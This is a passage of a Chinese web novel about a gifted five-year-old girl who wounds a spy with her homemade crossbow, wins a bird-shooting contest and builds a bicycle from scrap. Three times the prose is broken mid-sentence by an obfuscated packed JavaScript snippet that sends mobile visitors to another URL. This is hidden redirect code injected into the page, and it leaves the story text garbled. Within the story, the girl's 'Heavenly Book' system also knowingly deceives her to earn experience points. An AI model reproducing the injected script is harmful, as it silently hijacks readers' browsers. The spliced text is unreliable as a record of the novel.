周远明没想到居然是自己当初那异想天开的设计图给自己招惹了这杀身之祸,那是自己第一次设计武器图纸,他只给了自己当时的同事看过,他们都说自己是在异想天开,自己虽然不忿,但后来也因为检举下放这些事情,而将这个武器图纸抛之脑后了。 刘涛山怒喝:“要想图纸,除非从我们的尸体上跨过去!”他虽然不知道这图纸有多重要,能让樱花国人特意派五个带武器的间谍来暗杀,但他清楚,樱花国人没安好心,绝不能让他们得逞。如今的华国,早就不是当初那个任人拿捏的样子了! “你们不用这么激动。”眯眯眼还在慢悠悠地劝说,脚步却在悄悄往前挪动,眼神里藏着阴狠的算计。刘涛山和周远明几人也警惕地往后退,想找个突破口逃出去,可这山路两旁全是大树和茂密的草丛,根本没什么藏身之处,只能硬着头皮应对。 躲在灌木后面的王钰,眼神一直紧紧盯着两个樱花国人。她的视力比常人好太多,清楚地看到,那刀疤脸趁着眯眯眼说话分散注意力的时候,正偷偷往背后摸索着什么,动作鬼鬼祟祟的。 不好!王钰心里咯噔一下,想都没想就举起了手里的弩,快速搭上木箭,这箭是王建军用山里的硬木做的,箭头磨得锋利无比,威力可比她之前做的那些大多了。王钰屏住呼吸,小手稳稳地托着弩,瞄准了刀疤脸。 果然,刀疤脸从背后摸出了一个圆滚滚的手榴弹!黑色的弹身在阳光下泛着冷光,看着就令人胆寒。刘涛山也瞬间发现了他的动作,脸色大变,想都没想就猛地扑了过去,大喊一声:“小心!手榴弹!” 但比他更快的,是王钰的木箭。只听“噗呲”的一声,木箭精准地扎进了刀疤脸的手臂。刀疤脸疼得“啊”地惨叫一声,冷汗瞬间从额头冒了出来,手里的手榴弹“哐当”一声掉在了地上。 刘涛山趁机扑上前,一把夺过刀疤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958580|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸手里的枪,膝盖死死顶在他的后背,将他死死按在身下。 另一个军人也反应迅速,立马掏出枪朝眯眯眼射了一枪。 虽然没射中,但也吓了眯眯眼一跳。他见状不妙,转身就往深山里逃,想趁机溜走。可没跑两步,几道身影就从另一边冲了出来,正是刚才跟其他间谍缠斗完赶过来的军人。 “不许动!举起手来!”几个军人举着枪对准眯眯眼,厉声呵斥,声音响彻山林。眯眯眼知道自己跑不掉了,只能不甘心地停下脚步,慢慢举起双手,被军人上前铐住了双手。 看到两个樱花国人都被制伏,王建军这才松了口气,腿一软,直接瘫坐在了地上,后背全被冷汗浸透了,心脏还在砰砰直跳。 王钰也有些紧张,小手紧紧攥着弩,指节都有些发白,但更多的是激动和骄傲,她又救了人!还是用自己的弩! 硝烟味还没散尽,山林里静了片刻,只剩下风吹树叶的沙沙声和刀疤脸压抑的痛哼。 刘涛山反手铐住刀疤脸,又踢远了地上的手榴弹,这才松了口气,转头望向刚才箭射来的方向。 只见草丛中钻出来一个扎着小辫的小姑娘,其后紧跟着一个男人,男人脸色有些苍白,而小姑娘脸上虽说也有些紧张,但更多的是激动和骄傲。 刘涛山一下就认出来了,小姑娘应该就是用的手里的弩射出来的木箭。 “这是你射的木箭?” 王钰挺直腰板,用力点点头,一幅等人夸奖的模样。 刘涛山大笑:“真厉害啊小姑娘,射得这么准!” 顾于和擦了擦脸上的汗,感激道:“谢谢你啊小姑娘,你又救了我一命!” 周远明这时候也缓过神了,走到这边过来道谢:“小姑娘,真是太谢谢你了!要不是你出手,我们今天恐怕就凶多吉少了。” 说完,周远明才看到王钰手里的弩:“这弩好像和我之前看过的不太一样,可以给我看看吗?” 王钰大方地把弩递给周远明,周远明接过弩,仔细端详:“这弩做得很精巧,箭头打磨得也很专业,射程和力道都不一般,是谁做的?做的太好了!” 这可夸到王钰的心坎里了,她拍了拍自己的小胸脯,骄傲道:“弩的设计图是我画的,弩是我爷爷做的!箭头是我爸爸做的!” 周远明闻言,眼前一亮:“你自己画的设计图?” 王钰得意地点点头。 周远明满眼都是欣赏:“真不错!小小年纪就想出这么厉害的弩。” 随即他望向王建军:“小姑娘读书了吗?你可不能因为她是女孩子就不让她读书,她将来一定会有出息的!” 王建军连忙点头:“读了读了。” 周远明这才满意点头,但眼里又有些落寞,倘如他没有被诬陷下放,这么好的苗子,他一定不会放过的。 刘涛山摸了摸王钰的头:“小同志,你叫什么名字?是红旗大队的人吗?这次你立了大功,等我们把剩下的间谍都抓住,回去就给你记上一功,还会好好表扬你!” 王钰听到这话,立马激动起来:“我叫王钰,不是红旗大队的,是机械厂的,我来奶奶家走亲戚,你真的要给我记功吗?能不能去机械厂当众表扬我?我要让全机械厂的人都羡慕我!” 这小孩子爱出风头的话,逗得在场的人都哈哈大笑起来。原本紧张压抑的气氛,瞬间轻松了不少。 王建军狠狠揉了揉王钰:“你个小屁孩真不怕死,万一那些樱花国人看到你被表扬,转头来暗杀你怎么办?” 王钰歪着脑袋想了想,认真地说:“那我就做保护装置,我呆在里面,谁也打不到我!等我做出来了,还要给外婆,爸爸、妈妈、爷爷、奶奶都做一个,这样我们全家都安全了!” 刘涛山哈哈哈大笑:“好好好,好姑娘,有志气,我相信你肯定可以做到的!” 周远明也笑道:“哈哈哈我们华夏儿女就是要有这样的志气!” 17. 骄傲的外婆 下山回家之后,因为这件事需要保密,王钰就把这件事藏在心里了,于是村里人就只看到两人兴致勃勃地拿些弩上山,两手空空落魄的下山。 王来福凑上前:“建军,你们城里人就是不会找猎物啊,要不这样,你把你们家弩借给我,到时候我抓到猎物,我就分你一点。” 王建军许久没和这些村里人打交道了,居然让他们忘记自己当初混不吝的性格了。 王建军嗤笑一声:“借你?王来福你怕不是想多了?我家小宝做的弩金贵着呢,凭啥借你?再说了,你上次不还说这木头玩意不中用,用两次就散架吗?怎么,这会子又眼馋了?” 王来福被怼得脸一红,梗着脖子反驳:“我那不是随口说说嘛!反正你们拿着弩也打不到猎物,还不如给我,我拿着肯定能打着东西,到时候分你一半,够意思了吧?” “够意思?”王建军不屑道,“到时候你到底有没有打到东西,除了你谁知道?再说了,弩你弄坏了,你赔得起?你要是真有那本事,自己找木头做去,别惦记别人的东西。” 旁边看热闹的村民们都笑了起来,有人起哄:“来福,人家建军不借你,别凑上去了!” 王来福脸上挂不住,狠狠瞪了起哄的人一眼,又转向王建军:“不借就不借,神气啥!到时候我自己做一把!”说完,甩着袖子就走了。 回到家,李菊花看到两人两手空空也没说什么,招呼两人吃饭了。 又疯玩了两天,王建军和王钰就不得不会县城了,两人一个要上班,一个要上学。 离开的时候,铁蛋还非常舍不得呢,眼泪鼻涕哗哗流,看得王钰想安慰他又下不去手,最后只能答应他下次来的时候给她带糕点。 回到机械厂,赵凤霞一看到王钰就抱起来亲亲蹭蹭。 “我的小宝哟,可算回来了!在外头玩了这么些日子,外婆想你想得饭都吃不下,觉也睡不香,你有没有想外婆?” 王钰用小脸蛋蹭了蹭赵凤霞的脸:“我也想外婆了,我在乡下做了弩,还用它在乡下打了野鸡,外婆给你看!” 王建军很有眼色的从篮子里掏出半只野鸡,这是王钰昨天刚从山上打中的。 看着王钰那副邀功的模样,赵凤霞感觉心都软了:“外婆太开心了,咱们小宝去乡下也没忘记外婆,这么小就想着孝顺外婆了!” 王钰声音带着得意:“等下次我去乡下,我给外婆打野猪!” 赵凤霞感动的表情一下就收起来,冷静道:“那不行,野猪太危险了,你可不能一个人上山哦。” 这小插曲不影响赵凤霞的好心情,当晚她就把这野鸡炖了,在炖完野鸡之后,她特意盛了一小碗送给隔壁沈家。 沈奶奶一开门,闻着香味眼睛都亮了,瞧见碗里的土豆炖鸡,连忙接过来,笑得合不拢嘴:“凤霞,你这是干啥呀,还特意给我送过来!” “客气啥,邻里邻居的。”赵凤霞笑着摆手。 沈奶奶连忙说:“你先别走,我家今天刚买了桃酥,分你一些。”说完就立马包了一些桃酥给她。 赵凤霞也不推辞,揣着桃酥站在院门口和沈奶奶唠起来:“哎呀,你不知道,这野鸡是我家小宝自己在山上打的呢。” 沈奶奶惊讶:“小宝才五岁就能上山打野鸡了?”(那个年代其实一般说虚岁的比较多,但是本文为了方便,统一用周岁) 赵凤霞骄傲点头:“她呀,自己做了个什么弩/枪,就去山上打猎了,运气还挺好,一下就打中了。” 沈奶奶夸赞:“哦呦,那可不得了,这么小小年纪会做枪啊。”沈奶奶没读过书,还以为弩/枪也是枪。 赵凤霞笑着解释:“不是那种真枪,是弩/枪,跟弓箭一样的,是射箭的,就是不用费那么大劲拉弓,射得还远。” 沈奶奶拍手:“了不得啊了不得,凤霞,你家出了个大人物啊。” 这就是赵凤霞喜欢跟沈奶奶玩的原因了,说话真好听。 赵凤霞故作谦虚:“哪里哪里,她还小呢。” 沈奶奶:“是啊,还小,才五岁,就知道去山上打野鸡带回来给你吃了,又聪明又孝顺,凤霞,你就等着享福咯。” 两人聊天的时候,因为没有避着人,旁边路过的人也听到了。 “啥享福啊?” 赵凤霞扭头一看,是附近的李老头。 赵凤霞又把王钰做弩打野鸡的事情讲了一遍。 李老头听得连连惊呼。 每个路过的人都会被赵凤霞的表演吸引,听完的人也不走,就这么,人越聚越多,越聚越多。 直到沈奶奶的儿子回来。 “这是咋了,怎么都围在我家门口?” 赵凤霞这才反应过来,跟他们道别:“不唠了不唠了,我闺女该下班回来了,我得回去再炒两个素菜。” 后面几天,赵凤霞也没歇着,每次和其他人唠嗑都要炫耀自己的外孙女,可以看出,王钰这爱被表扬的性格,指不定是遗传的赵凤霞。 经过赵凤霞这么一传播,整个机械厂,不说所有人,至少一半以上的人家,都知道她赵凤霞的外孙女是个小天才,不仅读书厉害,而且还能自己做弩,还孝顺,在乡下还惦记着她,特意留了半个野鸡回来。 不少人家在外面听了赵凤霞的炫耀,回来看到自家三天不打上房揭瓦的孩子,都忍不住叹气,恨不得塞回肚子里重新生一遍。 —— 小胖和沈晓兰知道王钰回来了,赶紧去找王钰玩。 看着许久不见的王钰,沈晓兰猛地扑上去,王钰也兴奋的扑上去,两个糯米团子就粘到一起,开始原地打圈圈了,小胖也不乐意自己被忽略,硬是挤进两人的缝隙中,搞得沈晓兰白了他一眼。 沈晓兰牵着王钰的手坐下:“小宝,听我奶奶说你在山上用弩打到鸡了!好厉害啊小宝!” 王钰得意得抬起下巴:“没错!是用弩哦, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958581|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可比小胖的弹弓厉害多了!现在就算小胖你不教我用弹弓打鸟,我也可以打中鸟!” 沈晓兰捧着脸,赞叹道:“我就知道小宝你是最厉害的!” 小胖:“我不信!除非、除非你给我看看。” 王钰立马就从屋子里找出了弩,递给小胖看:“看吧,是不是很厉害!这可是我爷爷做的,他是全县最厉害的木工!” 看完了,他还是不服气,撇着嘴说:“我还是不信!弹弓才是最厉害的!我用弹弓好久了,你才用弩才用了几天,肯定打不准!” 王钰:“你不信?那我们比一比!就之前那个地方,比谁打下来的鸟多,谁就厉害!” “比就比!谁怕谁!”小胖立马应了下来,他对自己的弹弓技术很有信心,认为自己天下第一。 三人一拍即合,王钰拿起弩,小胖拿着他的弹弓,沈晓兰跟在两人身后,一起往小树林走去。 到了树林里,两人约定好,在同一棵树下,各自找目标射击,半小时后数打下来的鸟,谁多谁赢。比赛一开始,小胖就屏住呼吸,拿起弹弓瞄准树枝上的麻雀,“啪”的一声,石子飞了出去,打中了,但是力度有些小,没把麻雀打下来,反而惊得麻雀扑腾着翅膀飞走了。 王钰则不慌不忙地举起弩,眼睛眯成一条缝,瞄准不远处一根树枝上的麻雀。她屏住呼吸,手指轻轻一扣扳机,“咻”的一声,木箭精准地射穿了斑鸠的翅膀。斑鸠扑腾了两下,掉在了地上。 沈晓兰立马跑过去,捡起麻雀,兴奋地喊道:“小宝射中了!小宝好厉害!” 小胖脸色一沉,更着急了,越着急他就越打不好,又接连射了几发,要么打偏,要么只擦到鸟的羽毛,让鸟飞走了,完全没有之前的水平了。 而王钰这边,又精准地射中了一只麻雀,动作不是很利落,但是总是能射中。 半小时很快就到了,王钰一共打下来三只鸟,小胖却一只都没打到,只打落了几片树叶。看着王钰手里的战利品,小胖的脸涨得通红,低垂着头。 王钰见他这模样,想开口安慰他。 谁知小胖突然凑了过来,拉着王钰的胳膊,使劲晃了晃:“小宝,我输了,你的弩真厉害!你教我做弩好不好?我也想要一把!” 王钰:? 王钰虽然不理解他怎么变脸这么快,但被他晃得没办法,感觉脑浆都快匀乎了,只好疯狂挥手:“好,好,我答应你,你先停下来。” 沈晓兰小声说:“小宝,我、我也想要一把弩,可不可以也教我做?”她性子内向,很少主动提要求,说这话时,脸颊红红的,眼神里满是期待。 刚才小宝射弩的样子太帅了! 王钰立马挺直小胸脯,大方地说:“好啊!我教你们!不过做弩要找好木头,还要打磨箭头,有点难,你们要认真学哦!” 小胖和沈晓兰立马用力点头,三人围着弩,像旁边的小麻雀们一样,叽叽喳喳的讨论起来了。 18. 装自行车 经过这么一遭,三人的感情更好了,王钰和沈晓兰一起去废品收购站都会带着小胖一起了。 小胖看着王钰白乎乎的脸上粘上了一点黑色不明物体,嫌弃地皱着眉头:“老大,这真的能做出来吗?要不你别做了,我把我家的自行车给你骑。” 王钰用衣服干净的部分擦了擦脸上的汗水,听到小胖这话,不满道:“肯定不可以啊!你家的自行车我也骑不了。” 小胖反应了一下,才呆呆的说:“是哦,老大你比我还矮。” 王钰大人有大量,不跟小胖计较,只是挥挥手:“快,把那边那个钢管也递过来。” 带小胖来有个好处,他力气大,是一个合格的助手。 不知忙活了多久,小胖都在考虑要不要回去吃点东西再来了,就听见王钰说:“好了!” 小胖立马站起来:“终于做好了,老大?” 他看了一眼地上的自行车,他挠了挠头:“老大,看上去是挺像自行车的,但是老大,这真的能骑吗?” 只见地上的自行车,虽然大小可以适配王钰现在的身高,但是因为曲柄、车架等部件都找不到合适的,王钰只能尽量找别的类似的部件改造。 还有一些如轮胎之类的部件,王钰实在找不到替代品了,就干脆不装了,反正,车子,没有轮胎也能跑的吧…… 听到小胖的质疑,王钰其实有些心虚,但已经有了老大架子的王钰,硬是嘴硬说:“它只是看着不好看,但是肯定是可以骑的!不信我们试试!” 王钰的小迷妹沈晓兰使劲点头:“没错没错!肯定可以骑的!” 小胖想到之前王钰做出来的弩,将信将疑:“行吧。” 王钰为了证明自己,立马扶起自行车,学着刘向华的样子要骑车,她完全忘记自己压根就不会骑车。 脚刚踩上自制的木脚踏,车子就不受控制地往旁边倒,试了两次,次次都差点摔着。 小胖见状立马凑上前,自告奋勇:“老大,我来我来!我试试肯定行!” 王钰质疑的看着小胖:“你也不会骑车吧?” 小胖虽然不会但十分自信:“相信我,老大!” 王钰将信将疑地松开手:“好吧,你要小心哦。” 沈晓兰也说:“不要摔倒了。” 之前还质疑车子不行,这会儿真要上手骑了,小胖反倒激动起来,攥着车把深吸一口气,一脚就踏了上去。可他跟王钰一样,都是零基础,车子刚一动就往旁边歪,他甚至还没王钰灵活,没稳住就直愣愣地摔了个屁股墩,膝盖狠狠磕在地上。 “哎哟!”小胖疼得龇牙咧嘴,再看那辆自制自行车,直接散了架,部件滚得满地都是。 王钰和沈晓兰吓得赶紧跑过去,蹲在他身边急着问:“小胖,你没事吧?疼不疼啊?” 小胖坐在地上,看着散了架的自行车,再听着俩人的关心,愧疚地低下头,声音都带着点委屈:“对不起老大,我把你的自行车弄坏了。” 王钰摆摆手:“没事,自行车我到时候再装,你这伤口要不要回家处理一下?” 听到这话,小胖才后知后觉感受到膝盖传来的疼痛,眼睛一下就红了。 王钰见状,连忙扶起小胖,带他回家找赵奶奶,走之前还跟王大爷打了声招呼:“王爷爷,我们先带小胖去处理伤口,东西先放在这。” 王大爷放下手里的旱烟袋:“让我来帮他处理吧。” 王钰和沈晓兰同时看向小胖。 小胖含着泪点点头,小声说:“好,王爷爷,你轻一点好不好?” 王大爷:“嗯。” 王大爷从房间里拿出一个箱子,箱子一打开,里面是一些药品、绷带之类的。 王钰和沈晓兰好奇地凑过去看,这年代物资紧俏,普通人家可凑不齐这么多药。 王大爷先拿起干净的棉布,蘸着碘伏轻轻给小胖的伤口消毒,动作轻柔得很:“忍着点,就一下。” 碘伏碰到破皮的地方,小胖疼得瑟缩了一下,却咬着牙没哭出声。 消完毒,王大爷又抹了点红药水,最后用纱布把伤口缠好,还仔细打了个结。 “好了,这几天别沾水,过两天就结痂了。”王大爷收起箱子说道。 小胖擦了擦眼角的泪,小声说:“谢谢王爷爷。” “嗯。”王大爷应了一声,又坐回门口抽起了旱烟。 小胖转头看向王钰,又道了次歉:“对不起老大。” 王钰挥挥手:“没事,你现在要不要回去?” 小胖摇摇头:“现在没有那么痛了,我要陪你一起把自行车修好!” 沈晓兰也举手:“小宝,我也帮你!” 三人重新回到刚才自行车的位置,开始修自行车。 夕阳已经出来了,王钰三人才堪堪把大致的样子恢复好,但是有些部件在刚才摔的那一下,算是彻底坏了,本来就是用废弃的部件改造的,这些更是坏的不能坏了。 小胖这会儿已经完全不疼了,拍着胸脯道:“老爷们一人做事一人当,这些坏掉的东西,我让我爸帮你买!我爸是运输队的,他们经常去市里,我让我爸帮你买!” 王钰一听,眼睛亮起来了:“真的吗?你爸爸好厉害!” 小胖骄傲点头:“我爸还说,他去过京市呢!” 王钰和沈晓兰同时发出“哇”的声音,眼神里满是向往。 小胖小手一挥:“你说,你差哪些部件。” 王钰把自己缺的部件一一说出来,“你爸爸能不能买到这么大的轮胎。”王钰用手比划了一个圆。 小胖摸摸自己的双层下巴:“要不咱们现在就去我家吧,直接跟我爸说,省得我回头忘了。” 王钰也觉得这样更好,于是三人直接去小胖家了。 小胖爸爸刚好在家,听到他们的需求,先是狠狠捏了一把自己儿子的脸,这个慷他人之慨的小子,随后点点头:“我尽量帮你们找,但是可能不太好找,儿童款的自行车,我就在京市见过一次,市面上很少有这种自行车的,所以零件应该也很难见。” 王钰点点头:“没事的赵叔叔,长得差不多也行,回头我让我妈妈帮我改造。” 看着乖巧听话的王钰,又看了看自家臭屁的小胖子,小胖爸爸第一次体会到什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16958582|193248||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么是别人家的孩子。 “行,刚好我下个星期就要去一趟北京。” —— 在等待零件的日子里,王钰也没有撒欢了玩。 【天书天书天书,你能不能教我怎么骑自行车。】 无实体的天书沉默了一会:【对不起,我没有这个功能,你可以做一个不用骑的车。】 【已为你检索资料——平衡车。】 王钰兴致勃勃的打开资料,十分钟后,王钰两眼蒙圈的关上资料。 她可怜巴巴的说:【天书,我看不懂,有没有简单一些的。】 【已为你检索资料——自行车。】 王钰再次打开资料,这次的资料,会比平衡车的资料简单的多。 【天书,为什么,这上面的自行车和我家的自行车不太一样?】 天书当然是不能说是因为自己资料库缺失,找不到她家那款自行车的资料,只能找出最像的这个。 这个自行车是八十年之后才发行的自行车,虽然叫自行车,但是,实际上和现在的自行车,有许多地方不同。 【这是更高级的自行车,你学会了这款自行车,自然就会修你家那个自行车,甚至能做出比你家自行车更好的自行车,骑得更快!】 王钰听得心痒痒:【我要学!我现在就学!】 天书看见王钰又被自己糊弄成功了,又松了一口气了。 经过之前在红旗大队宣传的王钰制作弩,和赵凤霞在机械厂的炫耀,天书现在还差不到5%的经验值,就可以升到一级了。 天书提供的自行车资料,里面有很多王钰没学过的知识,但有这么个大萝卜在前面吊着,王钰非常努力的学习,碰上实在看不懂的东西,她就在白天去学校问赵东。 赵东被王钰的成长的速度震惊到了,再这么下去,不到一年的时间,她就能超过自己了,这让赵东又惊喜又心慌。 这天,王钰刚放学,准备回家吃午饭,一出校门,就看见刘向华在门口等自己。 王钰立马跑着扑到刘向华怀里:“妈妈,你怎么突然来接我呀?” 刘向华这段时间都很忙,一般中午都直接在食堂吃。 刘向华抱起王钰,她脸上也带着疑惑:“厂长叫我带你去他办公室,你认识厂长?”在刘向华印象里,厂长和自家闺女,应该是一点交集都没有的。 王钰点点头:“认识!” 刘向华挑眉:“你们咋认识的?” 王钰:“我在大会上看到他在上面讲话。” 刘向华哭笑不得:“那哪叫认识啊。” 两人很快就到厂长办公室门口了,里面似乎很热闹,透过门都能听到厂长的笑声。 刘向华敲了敲门:“厂长,我带我女儿过来了。” “进来。” 刘向华打开门,只见厂长坐在办公桌后面,对面还坐着两个穿军装的人,旁边还有个没穿军装的男人,正笑着跟厂长说话。 看到有人进来,办公室内所有人的目光都像这边投来。 周远明看到王钰惊讶的表情,笑呵呵的挥了挥手:“又见面了,小姑娘。”